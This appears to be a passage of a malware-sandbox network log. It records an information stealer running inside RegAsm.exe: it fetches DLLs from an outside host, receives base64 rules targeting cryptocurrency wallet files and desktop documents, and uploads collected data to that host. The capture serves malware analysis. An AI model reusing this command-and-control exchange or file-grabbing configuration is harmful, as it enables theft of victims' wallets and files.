2024-05-22 16:28:22 UTC	16384	IN	Data Raw: 8b 48 38 b8 91 00 00 00 85 c9 74 4a 83 39 02 75 45 83 79 04 00 74 3f 8b 55 0c 8b 59 6c 83 c3 08 89 1f 31 c0 85 d2 74 2e b8 50 01 00 00 39 de 72 25 8b 01 89 02 8b 41 70 89 42 04 83 c2 08 ff 71 6c ff 71 64 52 e8 cc 0f 01 00 83 c4 0c 31 c0 eb 05 b8 b3 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 7d 10 a1 14 90 03 10 31 e8 89 45 f0 85 ff 0f 84 2d 01 00 00 8b 5d 0c 8b 33 ff 75 08 e8 b5 2a 00 00 83 c4 04 b9 b3 00 00 00 85 c0 0f 84 12 01 00 00 83 fe 0a 0f 87 f7 00 00 00 b9 78 06 00 00 0f a3 f1 73 12 8d 48 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 b9 83 01 00 00 0f a3 f1 73 e4 8d 48 34 8b 09 83 fe 0a 77 2f ba 78 06 00 00 0f a3 f2 73 12 83 c0 38 eb 1a 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 ba 83 01 00 00 0f a3 f2 73 Data Ascii: H8tJ9uEyt?UYl1t.P9r%ApBqlqdR1^_[]USWV}1E-]3u*xsH8f.sH4w/xs8f.s
2024-05-22 16:28:22 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 89 e5 53 57 56 ff 75 08 e8 c2 d8 ff ff 83 c4 04 85 c0 0f 84 9c 03 00 00 89 c6 c7 40 24 00 00 00 00 bf 02 00 00 00 83 78 0c 00 0f 88 54 03 00 00 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 8b 46 34 8b 5e 40 8d 4b 01 89 4e 40 50 ff 15 10 7c 03 10 83 c4 04 83 fb 2c 0f 8f 29 03 00 00 6b c3 54 8d 0c 06 83 c1 64 89 4c 06 5c c7 44 06 64 57 43 53 ce c7 44 06 60 04 00 00 00 c7 44 06 58 00 00 00 00 c7 44 06 54 00 00 00 00 0f 57 c0 0f 11 44 06 44 83 7e 0c 00 0f 88 ea 02 00 00 8d 1c 06 83 c3 44 ff 76 34 ff 15 f0 7b 03 10 83 c4 04 69 4b 10 c5 90 c6 6a 8b 86 0c 0f 00 00 83 c0 ff 21 c8 8b 8c 86 10 0f 00 00 89 0b c7 43 04 00 00 00 00 8b 8c 86 10 0f 00 00 85 c9 74 03 89 59 04 89 9c 86 10 0f 00 00 ff 76 34 ff 15 10 7c 03 10 83 c4 04 83 7e 0c 00 0f 88 8b 02 00 Data Ascii: USWVu@$xTv4{F4^@KN@P\|,)kTdL\DdWCSD`DXDTWDD~Dv4{iKj!CtYv4\|~
2024-05-22 16:28:22 UTC	16384	IN	Data Raw: 00 89 f8 81 c4 3c 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 89 d6 89 cf 8b 5d 08 8b 4b 24 ff 15 00 a0 03 10 ff 75 14 ff 75 10 ff 75 0c 53 ff d1 83 c4 10 85 c0 75 1e 31 c0 39 5e 34 0f 94 c0 89 f9 89 f2 ff 75 14 ff 75 10 ff 75 0c 50 e8 1c 2b 00 00 83 c4 10 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 10 8b 45 08 8b 0d 14 90 03 10 31 e9 89 4d f0 c7 45 ec 00 00 00 00 85 c0 74 63 8b 75 10 8b 58 34 85 db 74 5d 85 f6 74 5f 8b 4d 0c 8d 45 e8 8d 7d ec 89 f2 50 57 e8 8e 00 00 00 83 c4 08 85 c0 74 60 89 c7 8b 45 ec 89 45 e4 8b 4b 14 ff 15 00 a0 03 10 ff 75 14 56 57 53 8b 5d e4 ff d1 83 c4 10 89 c6 85 db 74 40 57 e8 96 8d 00 00 83 c4 04 ff 75 e8 53 e8 b4 8d 00 00 83 c4 08 eb 29 31 f6 eb 25 8b 18 85 f6 75 a1 8b 4b 14 ff 15 00 a0 03 10 ff Data Ascii: <^_[]USWV]K$uuuSu19^4uuuP+^_[]USWVE1MEtcuX4t]t_ME}PWt`EEKuVWS]t@WuS)1%uK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49720	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:22 UTC	178	OUT	GET /vcruntime140.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:23 UTC	245	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:22 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-13bf0" Accept-Ranges: bytes
2024-05-22 16:28:23 UTC	16139	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"
2024-05-22 16:28:23 UTC	16384	IN	Data Raw: ff ff eb 1e 0f b6 4e 03 0f b6 42 03 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 6f 05 00 00 8b 46 04 3b 42 04 74 4f 0f b6 f8 0f b6 42 04 2b f8 75 18 0f b6 7e 05 0f b6 42 05 2b f8 75 0c 0f b6 7e 06 0f b6 42 06 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 07 0f b6 42 07 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 0e 05 00 00 8b 46 08 3b 42 08 74 4f 0f b6 f8 0f b6 42 08 2b f8 75 18 0f b6 7e 09 0f b6 42 09 2b f8 75 0c 0f b6 7e 0a 0f b6 42 0a 2b f8 74 10 33 c9 85 ff 0f 9f c1 8d 0c 4d ff ff ff ff eb 1e 0f b6 4e 0b 0f b6 42 0b 2b c8 74 12 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff eb 02 33 c9 85 c9 0f 85 ad 04 00 00 8b 46 0c 3b 42 0c 74 4f 0f b6 f8 0f b6 42 0c 2b f8 75 18 Data Ascii: NB+t3E3oF;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u~B+u~B+t3MNB+t3E3F;BtOB+u
2024-05-22 16:28:23 UTC	16384	IN	Data Raw: 08 00 00 59 6a 28 8d 4d 80 8b f0 e8 67 f3 ff ff 56 8d 4d f0 51 8b c8 e8 0a f7 ff ff 6a 29 8d 85 70 ff ff ff 50 8d 4d f0 e8 1b f7 ff ff 50 8d 4d f8 e8 78 f7 ff ff 81 7d dc 00 08 00 00 75 1a 8b c3 25 00 07 00 00 3d 00 02 00 00 74 0c 8d 45 98 50 8d 4d f8 e8 55 f7 ff ff a1 98 f2 00 10 c1 e8 13 f7 d0 a8 01 8d 45 cc 50 74 11 e8 92 2e 00 00 59 50 8d 4d f8 e8 34 f7 ff ff eb 0f e8 81 2e 00 00 59 50 8d 4d f8 e8 9f f8 ff ff 8d 45 cc 50 e8 69 23 00 00 59 50 8d 4d f8 e8 10 f7 ff ff a1 98 f2 00 10 c1 e8 08 f7 d0 a8 01 8d 45 cc 50 74 11 e8 30 3e 00 00 59 50 8d 4d f8 e8 ef f6 ff ff eb 0f e8 1f 3e 00 00 59 50 8d 4d f8 e8 5a f8 ff ff 8d 45 cc 50 e8 6a 19 00 00 59 50 8d 4d f8 e8 47 f8 ff ff a1 98 f2 00 10 c1 e8 02 f7 d0 a8 01 74 20 85 ff 74 1c 8b 45 f8 89 07 8b 45 fc 89 47 Data Ascii: Yj(MgVMQj)pPMPMx}u%=tEPMUEPt.YPM4.YPMEPi#YPMEPt0>YPM>YPMZEPjYPMGt tEEG
2024-05-22 16:28:23 UTC	16384	IN	Data Raw: 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f 85 12 ff ff ff 42 89 15 90 f2 00 10 8b f2 8a 0a Data Ascii: t@++t+t+u+uQ<0\|*<9&w/c5~bASJCtvB
2024-05-22 16:28:23 UTC	15589	IN	Data Raw: ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 43 6f 64 65 20 53 69 67 6e 69 6e Data Ascii: \|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Code Signin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49721	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:24 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEBKEHCAKFCBFIDAAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 1025 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:24 UTC	1025	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 42 4b 45 48 43 41 4b 46 43 42 46 49 44 41 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------CFIEBKEHCAKFCBFIDAAKContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------CFIEBKEHCAKFCBFIDAAKCont
2024-05-22 16:28:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49722	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:25 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBKKFHIEGDHJKECAAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------BGDBKKFHIEGDHJKECAAKContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------BGDBKKFHIEGDHJKECAAKCont
2024-05-22 16:28:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:26 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49723	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:26 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:26 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------HCFIJKKKKKFCAAAAFBKFCont
2024-05-22 16:28:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:27 UTC	131	IN	Data Raw: 37 38 0d 0a 52 47 56 6d 59 58 56 73 64 48 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 52 38 4e 54 42 38 64 48 4a 31 5a 58 77 71 64 32 6c 75 5a 47 39 33 63 79 70 38 5a 47 56 7a 61 33 52 76 63 48 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 66 44 55 77 66 47 5a 68 62 48 4e 6c 66 43 70 33 61 57 35 6b 62 33 64 7a 4b 6e 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 78RGVmYXVsdHwlRE9DVU1FTlRTJVx8Ki50eHR8NTB8dHJ1ZXwqd2luZG93cyp8ZGVza3RvcHwlREVTS1RPUCVcfCoudHh0fDUwfGZhbHNlfCp3aW5kb3dzKnw=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49724	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:28 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 453 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:28 UTC	453	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------DAFIEHIEGDHIDGDGHDHJCont
2024-05-22 16:28:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49725	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:30 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGDHCGCBKFHJKEBKFBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 114541 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 44 48 43 47 43 42 4b 46 48 4a 4b 45 42 4b 46 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------HDGDHCGCBKFHJKEBKFBFContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------HDGDHCGCBKFHJKEBKFBFCont
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 6d 34 47 46 46 70 41 72 62 65 63 62 6e 64 66 79 35 71 58 56 68 6a 77 68 65 48 31 74 63 2f 2b 4f 69 6f 74 64 30 31 64 58 67 31 4b 77 61 55 78 43 61 33 74 78 76 43 35 78 69 52 7a 30 2f 43 72 4f 75 4a 35 66 68 53 39 6a 7a 6e 62 62 45 5a 39 63 4c 58 75 30 48 48 33 45 74 2b 62 2f 49 38 7a 47 4b 58 76 76 70 79 72 38 6a 78 79 69 69 69 76 74 6a 38 33 43 69 69 69 67 41 72 30 4c 34 61 2f 77 44 48 74 71 50 2b 2f 48 2f 4a 71 38 39 72 30 48 34 62 66 38 65 2b 70 66 37 30 66 38 6d 72 7a 4d 32 2f 33 5a 2b 71 50 59 79 4c 2f 66 46 36 4d 38 36 31 76 78 44 50 71 39 70 70 39 6e 79 6c 72 5a 57 38 63 53 52 35 2b 38 77 55 41 73 66 79 34 39 71 6c 38 50 61 34 39 6a 44 65 61 58 4e 4d 30 64 6a 66 78 6d 4e 32 42 2f 31 54 45 59 44 2f 41 45 37 48 31 46 62 66 2f 43 71 74 63 2f 35 2b 39 Data Ascii: m4GFFpArbecbndfy5qXVhjwheH1tc/+Oiotd01dXg1KwaUxCa3txvC5xiRz0/CrOuJ5fhS9jznbbEZ9cLXu0HH3Et+b/I8zGKXvvpyr8jxyiiivtj83CiiigAr0L4a/wDHtqP+/H/Jq89r0H4bf8e+pf70f8mrzM2/3Z+qPYyL/fF6M861vxDPq9pp9nylrZW8cSR5+8wUAsfy49ql8Pa49jDeaXNM0djfxmN2B/1TEYD/AE7H1Fbf/Cqtc/5+9
2024-05-22 16:28:30 UTC	16355	OUT	Data Raw: 79 4b 70 39 6a 53 4a 35 68 79 30 6f 69 44 48 47 52 46 47 71 4c 2b 43 71 41 42 2b 41 72 50 31 4c 53 35 4c 2b 4b 57 41 54 6d 4f 47 56 34 35 4a 46 41 47 53 79 5a 32 6e 4f 4d 6a 47 34 39 50 57 76 55 78 64 4f 72 55 6f 63 73 4e 4a 61 66 6e 71 65 4c 67 61 74 43 6a 69 65 61 70 72 48 55 64 64 36 78 39 6a 38 4b 50 49 74 6c 44 4a 71 73 4e 31 61 54 79 4c 4e 47 47 4b 72 4b 4a 43 73 52 42 7a 31 56 41 78 48 66 65 50 53 72 52 64 37 4c 78 5a 70 32 6c 77 32 30 4c 78 53 77 33 6c 31 76 75 2f 4b 5a 52 49 49 70 4d 52 45 6b 6c 63 52 4d 75 44 6b 67 62 67 53 52 6a 46 55 42 70 2b 70 4c 66 58 46 36 4e 53 33 33 4e 7a 63 70 64 54 53 53 78 4c 4a 76 6b 54 64 74 62 35 6c 4f 43 4e 78 78 6a 32 39 42 54 59 39 49 75 72 57 4b 4f 4b 31 76 64 71 70 4a 4c 4a 38 38 61 73 51 30 69 65 58 4a 67 6b Data Ascii: yKp9jSJ5hy0oiDHGRFGqL+CqAB+ArP1LS5L+KWATmOGV45JFAGSyZ2nOMjG49PWvUxdOrUocsNJafnqeLgatCjieaprHUdd6x9j8KPItlDJqsN1aTyLNGGKrKJCsRBz1VAxHfePSrRd7LxZp2lw20LxSw3l1vu/KZRIIpMREklcRMuDkgbgSRjFUBp+pLfXF6NS33NzcpdTSSxLJvkTdtb5lOCNxxj29BTY9IurWKOK1vdqpJLJ88asQ0ieXJgk
